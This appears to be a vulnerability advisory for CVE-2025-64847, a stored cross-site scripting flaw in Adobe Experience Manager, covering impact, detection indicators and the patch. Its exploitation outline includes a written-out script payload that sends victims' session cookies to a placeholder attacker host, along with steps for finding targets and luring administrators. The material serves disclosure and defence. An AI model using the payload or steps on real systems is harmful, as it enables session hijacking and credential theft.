CVE-2025-64847: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64847 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically a stored XSS variant where malicious JavaScript is persisted in AEM form fields. An authenticated attacker with low privileges can submit crafted script payloads via vulnerable form fields; when a victim browses to the page containing the injected content, the malicious JavaScript executes in their browser context. Exploitation requires user interaction (a victim visiting the affected page) and low privileges on the AEM instance, with the scope changed to affect the victim's browser session (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that render user-supplied input without proper sanitization, such as content authoring forms or comment fields.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator) to visit the page containing the injected content, causing the malicious script to execute in their browser and exfiltrate session cookies or perform unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual data exfiltration patterns in proxy logs.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) within AEM JCR content nodes or page properties that were not authored by legitimate users.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is configured.

Adobe has released patches addressing CVE-2025-64847: AEM on-premises users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users are protected as of the 2025.12.0 release. No specific configuration-based workaround is documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and enforce Content Security Policy headers as a defense-in-depth measure (Adobe Advisory).